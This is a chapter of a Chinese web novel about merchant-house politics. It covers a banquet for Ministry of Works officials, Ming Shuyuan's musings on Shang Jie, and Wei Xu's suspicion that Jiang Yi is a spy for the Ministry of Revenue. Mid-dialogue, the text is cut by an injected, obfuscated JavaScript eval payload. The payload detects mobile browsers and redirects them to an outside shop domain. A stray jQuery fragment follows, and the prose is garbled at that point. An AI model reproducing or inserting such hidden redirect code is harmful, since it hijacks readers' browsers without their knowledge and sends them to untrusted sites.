经了先前那一遭，加之有肖先生提点，商洁在大事上可算是谨慎了一些。
他派府中不显眼的下人去车马行租了几辆马车，分头去工部客人府邸上接的人，暗中送到商府后院隐门。
商洁则亲自在门后等候，也算尽了家主的礼数。
工部几位都识大体，知道事以密成，并未计较什么正门相迎之礼，免得惊动户部的暗桩，坏了大计。
自明殊苑入府，还未见过商洁接人待物，向来他只跟熟悉的人打交道，也不知是如何维持的商府人脉。
眼下，商洁换过衣裳，是一件石青色的襕衫，圆领大袖，腰间束了一条银丝腰封，宛若青石覆雪，竟颇有清贵之气。
他用银冠束发，冠上镶了几颗上好的碧玉，与腰封上缀着的银链相映，颇为得宜，更显人十分清逸。
明殊苑对他这身打扮相当满意，庄重利落，俊逸脱俗。但她又想叹气，若他能把自己送他那块丑玉摘下来就更好了，接待贵客佩一块品质平平的和田青玉，商府大少爷也不嫌丢人，总把这玉当宝贝戴着。
稍待片刻，她也该去换身衣服，可她实在好奇商洁待客的礼仪，于是留在转墙后面远远看着。
后巷里传来马蹄的声音，商洁整了整衣冠，迈步迎了上去。第一辆马车里自然是工部尚书聂诏，商洁见人撩开车帘，忙叫下人上前去扶。待人站定，商洁拱手行了一礼，虽微微俯身，腰杆却挺得笔直，不卑不亢：“聂尚书驾临，商某有失远迎，望您恕罪。”
聂诏五十来岁，一张长脸，沟壑深重，像是经久操劳留下的痕迹。人却是和气，上下打量了商洁一眼，觉得此人也不像外面流传那般不堪重任，略一还礼，扶他起身：“商公子太客气了，今日是私宴，不必拘礼。”
又同站在一旁的肖先生热络招呼：“济远兄，许久不见。”
肖济远亦拱手，玩笑道：“得尚书大人称兄道弟，可折煞肖某了。”
后面几辆马车依次下来几人。头一天，商洁对着画像背这些人的姓名官职，背了一下午，才换来今日迎接的从容。他一一拱手，向各位主事员外行礼，侧身往府内引路，却不抢先，比聂尚书落后半步，边走边道：“尚书大人肯赏光，是商某的福分，几位大人里边请。”
表现得不错，表现得不错。
明殊苑十分欣慰，退身离开了后院，心下也松了大半口气，这少爷正经起来还是颇有家主之风的，假以时日，好好调教，或许真能撑得起商府的门楣。
这才午后，开宴要到酉时。幸好商府够大，商洁也不用担心坐在一起闲谈会露馅，暴露他其实脑子空空的事实。光这一圈参观下来，就能消耗大半时日，加上肖济远陪着，氛围也算愉快。
明殊苑在自己院中挑选衣裳首饰，亦十分发愁，她许久未正式装扮，面对这一匣子一匣子的首饰，一时还不知从何下手。
看得俞双又于心不忍了，在旁边大呼小叫：“小姐从前最善搭配，每日穿戴如同刚从画里走出来一般，怎得如今竟无处下手了？您还总说这商洁待你不错，我看分明不好！他怎不早将您提为门客？先前小姐那身柳青色细棉襦裙，寒酸得我都要落泪了！”
明殊苑对着铜镜，将那些首饰在耳边发间挨个地比，发觉一对耳珰很配俞双，抛过去叫她接在手里：“你呀，在谁面前都铁青脸色，商洁最近伤好了些，恨不得绕着你走。温温更是怕你，一日要同我念叨几次。偏偏在我面前咋咋呼呼，张牙舞爪，本性毕露。”
她挑了一副墨色月纹项饰，十分满意，撂在桌面上：“商洁待我已十分尽意，若我投靠的是旁人，恐怕要受不少磋磨，吃不少苦头。在商府却半点委屈未曾有过，他的好，我是念的。”
她起身走向床帏，去取先前选好的那身衣裙，又道：“何况如今，我对他其实多有亏欠。我利用他在先，他全然未觉，反而尊重我，善待我……甚至生出了爱慕之心，将来真相大白，他总要伤心的。如今我能哄着他，也多哄着些吧。”
俞双被这一连串惹得不说话了，其实细想想，明殊苑说得也没错，她一身敝衣来的商府，如今在此处吃穿用度都很不错，商洁还修缮了药房，那药房快比半个丞相府大了。吃人嘴软拿人手短，俞双嘟嘟哝哝：“小姐别总想着让他入赘就是了。”
明殊苑哭笑不得，拿掸床的羽毛掸子轻轻戳她：“我何时天天说叫他入赘了，再说就算入赘又如何？丞相府总得有个人打理后宅，若让旁人上门，还不如商洁呢。”
“小姐也喜欢他了？”俞双问道。
明殊苑像是陷入了什么思绪，笑了笑，摇摇头：“没有。”
.
今日御史台公务繁忙，直到申时末，韦叙才得以脱身，本想快马回府换下官服，赶忙前往商府赴宴，结果刚要出门，又被蒋亦一手拦住。
“户部送来新拟的修浚河道文书，韦兄过目吧。”
他只好停下来，又接过翻看。
做了十几年检法官，盛国律法韦叙已条条铭记在心，一目十行地看过去，并未出现什么错漏。直到看到一行字——“劝谕上户进纳。”
上户指的是谁，实在不必多说。韦叙皱了眉，却心想商府往年也会出钱，往往都是义捐，今年怎得忽然改成进纳了。进纳意味着补官，花更多的钱，换来一个闲散职位，等同士人待遇。但商老爷子向来认定做生意该当远离官场，从不允许商府搅进去。户部又虎视眈眈，谁知这文书背后包藏着怎样的祸心。
“这份文书也是明日回送回户部？”韦叙问道。
蒋亦应道：“是。”
“大体没有问题，明日辰时我再细看一番，到时再劳你送一趟。”
蒋亦称好。
他拱手向韦叙作别，却不知韦叙看到了什么，眼神蓦地一凛，忽然抓住蒋亦的手臂：“你的手腕怎么了？”
蒋亦笑笑，十分镇定：“家里新养的猫儿抓的，现在都快好了，劳韦兄关怀了。”
猫抓的怎会是这种伤口，分明是细刃的剑痕。韦叙想起俞双那日的话，她的剑他见过，开的便是最细的刃。
韦叙不置可否：“那可要多观察些，猫儿狗儿恐有狂病，可别伤了自身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587292|202060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
康健。”
蒋亦点头：“多谢韦兄挂心。”
他向来十分顺从，拿着文书走远了。韦叙望着他的背影，心想当日审问李掌柜身边的抬箱人，刑官曾对他说，蒋亦监刑时，有意引抬箱人开口污蔑商洁。
他去江南时，顺带也查了蒋亦的身份。他说话声音向来较其他男子更显温糯，不是京城人士的音色。果真一查，蒋亦同户部侍郎简海溪竟是同乡，同为栖州人士。
——他果真是简海溪的人。
所以那一夜，在商府周围查探的人也是蒋亦。
俞双曾说，见他跟一女子在商府几里外茶肆密谈，还谈到了明殊苑……那女子是谁？
.
黄昏时分，韦府的马车才姗姗来迟，商洁忙于陪着工部的客人，抽不开身，于是在前院等着迎他的，只有明殊苑。
也算是代主尽谊了。
韦叙老远望见一个女子身形，心下十分不确定，走近一看，简直见鬼。几日不见，这花房侍女如今大有改变，从服饰到首饰，从妆容到气质，简直和第一次见时那个抱着花种到处乱走的傻气模样大相庭径。
韦叙不免试探道：“你……你在商府有名分了？”
商洁的话真不假，天下男子都是一个样，心里就妻妻妾妾那点事。韦叙虽没有狎昵的意思，但确实也忘那方面想了，不仅想，还出口问。明殊苑忽然又想起，第一次见他也这么问：“你是商洁的外室？”
明殊苑噎了他一句：“韦先生想多了，你我皆是商府客，不过我的待遇要比你略高上些许，稍后的宴席，韦先生的位次恐怕在我之后。”
韦叙神色又变了变，还是忍了，问道：“我看今日府中的氛围，并不像纯粹的家宴，可来了什么贵客？”
“工部的人。”明殊苑言简意赅。
“工部？”韦叙不解，“商府向来未曾跟工部打过交道，他们此番前来，所为何事？”
“修浚河道的事，你在御史台，想也听说了。”
韦叙心下猜了个七七八八，问道：“你的主意？”
“商洁的主意。”说到这，明殊苑都有些替他骄傲，转头道，“没想到吧，少爷成长了。”
着实是没想到，韦叙刮目相看：“甩给工部也好，和户部正面对上，总归是没好事的。”
明殊苑认同，只道：“说是义捐，实则行的尽是强迫之事，今年要的钱，快够新修一条河道了。修时修后，百害无一利，烫手山芋能丢远些就丢远些吧。”
这话让韦叙的面色骤然阴沉下来：“义捐？户部放给商洁的风声，仅仅是义捐？”
明殊苑见他神情不对，也停下脚步：“那封信我未曾亲眼看到，但我与商洁聊起，他说那信里无非就两个意思，一是义捐，二是要比往年多近一倍的银子。”
“一环之外，还有一环，简海溪这文字游戏，果真是好手段。”韦叙道。
明殊苑默然：“什么意思？”
“御史台今日收到户部送来的摊派文书。”韦叙面沉似水，“文书上白纸黑字写的，是进纳。”